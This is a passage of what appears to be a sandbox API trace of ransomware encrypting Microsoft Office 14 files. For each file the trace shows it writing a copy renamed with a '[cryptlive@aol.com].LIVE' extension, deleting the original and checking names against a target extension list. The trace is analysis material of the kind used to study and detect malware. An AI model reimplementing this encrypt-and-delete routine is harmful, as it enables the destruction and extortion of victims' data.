files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0044.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.175] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.175] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0044.176] GetLastError () returned 0x0 [0044.176] ReadFile (in: hFile=0x180, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x795, lpOverlapped=0x0) returned 1 [0044.180] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0044.181] ReadFile (in: hFile=0x180, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.181] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0044.181] SetEndOfFile (hFile=0x15c) returned 1 [0044.181] CloseHandle (hObject=0x15c) returned 1 [0044.182] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.182] SetEndOfFile (hFile=0x180) returned 1 [0044.183] CloseHandle (hObject=0x180) returned 1 [0044.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0044.183] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0044.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.183] lstrlenW (lpString=".doc") returned 4 [0044.183] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0044.183] lstrlenW (lpString=".docx") returned 5 [0044.183] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0044.183] lstrlenW (lpString=".pdf") returned 4 [0044.183] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0044.183] lstrlenW (lpString=".xls") returned 4 [0044.183] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString=".xlsx") returned 5 [0044.184] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0044.184] lstrlenW (lpString=".ppt") returned 4 [0044.184] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.184] lstrlenW (lpString=".zip") returned 4 [0044.184] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString=".rar") returned 4 [0044.184] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString=".bz2") returned 4 [0044.184] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0044.184] lstrlenW (lpString=".7z") returned 3 [0044.184] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0044.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.184] lstrlenW (lpString=".dbf") returned 4 [0044.184] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0044.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.184] lstrlenW (lpString=".1cd") returned 4 [0044.184] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0044.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.184] lstrlenW (lpString=".jpg") returned 4 [0044.184] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.184] lstrlenW (lpString=".doc") returned 4 [0044.184] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0044.184] lstrlenW (lpString=".docx") returned 5 [0044.184] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0044.184] lstrlenW (lpString=".pdf") returned 4 [0044.184] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString=".xls") returned 4 [0044.184] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0044.184] lstrlenW (lpString=".xlsx") returned 5 [0044.184] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0044.184] lstrlenW (lpString=".ppt") returned 4 [0044.185] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0044.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.185] lstrlenW (lpString=".zip") returned 4 [0044.185] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0044.185] lstrlenW (lpString=".rar") returned 4 [0044.185] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0044.185] lstrlenW (lpString=".bz2") returned 4 [0044.185] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0044.185] lstrlenW (lpString=".7z") returned 3 [0044.185] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0044.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.185] lstrlenW (lpString=".dbf") returned 4 [0044.185] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0044.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.185] lstrlenW (lpString=".1cd") returned 4 [0044.185] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0044.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0044.185] lstrlenW (lpString=".jpg") returned 4 [0044.185] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0044.185] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0044.185] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0044.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.088] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5557) returned 1 [0045.088] CloseHandle (hObject=0x184) returned 1 [0045.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0045.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.089] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.089] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0045.089] GetLastError () returned 0x0 [0045.089] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0045.091] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0045.092] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.092] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xee, lpOverlapped=0x0) returned 1 [0045.092] SetEndOfFile (hFile=0x1b0) returned 1 [0045.092] CloseHandle (hObject=0x1b0) returned 1 [0045.093] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.093] SetEndOfFile (hFile=0x184) returned 1 [0045.094] CloseHandle (hObject=0x184) returned 1 [0045.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.094] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0045.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.095] lstrlenW (lpString=".doc") returned 4 [0045.095] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString=".docx") returned 5 [0045.095] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.095] lstrlenW (lpString=".pdf") returned 4 [0045.095] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString=".xls") returned 4 [0045.095] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString=".xlsx") returned 5 [0045.095] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.095] lstrlenW (lpString=".ppt") returned 4 [0045.095] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.095] lstrlenW (lpString=".zip") returned 4 [0045.095] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.095] lstrlenW (lpString=".rar") returned 4 [0045.095] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString=".bz2") returned 4 [0045.095] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString=".7z") returned 3 [0045.095] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.095] lstrlenW (lpString=".dbf") returned 4 [0045.095] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.095] lstrlenW (lpString=".1cd") returned 4 [0045.095] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.095] lstrlenW (lpString=".jpg") returned 4 [0045.095] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.096] lstrlenW (lpString=".doc") returned 4 [0045.096] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString=".docx") returned 5 [0045.096] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.096] lstrlenW (lpString=".pdf") returned 4 [0045.096] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString=".xls") returned 4 [0045.096] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString=".xlsx") returned 5 [0045.096] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.096] lstrlenW (lpString=".ppt") returned 4 [0045.096] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.096] lstrlenW (lpString=".zip") returned 4 [0045.096] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.096] lstrlenW (lpString=".rar") returned 4 [0045.096] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString=".bz2") returned 4 [0045.096] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString=".7z") returned 3 [0045.096] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.096] lstrlenW (lpString=".dbf") returned 4 [0045.096] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.096] lstrlenW (lpString=".1cd") returned 4 [0045.096] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0045.096] lstrlenW (lpString=".jpg") returned 4 [0045.096] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.096] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0045.097] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0045.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.097] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=37689) returned 1 [0045.097] CloseHandle (hObject=0x184) returned 1 [0045.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0045.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.098] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.098] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0045.098] GetLastError () returned 0x0 [0045.098] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x9339, lpOverlapped=0x0) returned 1 [0045.100] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0045.101] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.101] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.101] SetEndOfFile (hFile=0x1b0) returned 1 [0045.102] CloseHandle (hObject=0x1b0) returned 1 [0045.103] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.103] SetEndOfFile (hFile=0x184) returned 1 [0045.104] CloseHandle (hObject=0x184) returned 1 [0045.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0045.104] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.111] lstrlenW (lpString=".doc") returned 4 [0045.111] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString=".docx") returned 5 [0045.111] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0045.111] lstrlenW (lpString=".pdf") returned 4 [0045.111] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString=".xls") returned 4 [0045.111] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString=".xlsx") returned 5 [0045.111] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0045.111] lstrlenW (lpString=".ppt") returned 4 [0045.111] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.111] lstrlenW (lpString=".zip") returned 4 [0045.111] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString=".rar") returned 4 [0045.111] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString=".bz2") returned 4 [0045.111] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.111] lstrlenW (lpString=".7z") returned 3 [0045.111] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.111] lstrlenW (lpString=".dbf") returned 4 [0045.111] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.111] lstrlenW (lpString=".1cd") returned 4 [0045.111] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString=".jpg") returned 4 [0045.112] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString=".doc") returned 4 [0045.112] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString=".docx") returned 5 [0045.112] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0045.112] lstrlenW (lpString=".pdf") returned 4 [0045.112] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString=".xls") returned 4 [0045.112] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString=".xlsx") returned 5 [0045.112] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0045.112] lstrlenW (lpString=".ppt") returned 4 [0045.112] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString=".zip") returned 4 [0045.112] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString=".rar") returned 4 [0045.112] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString=".bz2") returned 4 [0045.112] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0045.112] lstrlenW (lpString=".7z") returned 3 [0045.112] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString=".dbf") returned 4 [0045.112] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString=".1cd") returned 4 [0045.112] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0045.112] lstrlenW (lpString=".jpg") returned 4 [0045.112] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.113] lstrcmpiW (lpString1=".CHM", lpString2=".LIVE") returned -1 [0045.113] lstrlenW (lpString="PSS10O.CHM") returned 10 [0045.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 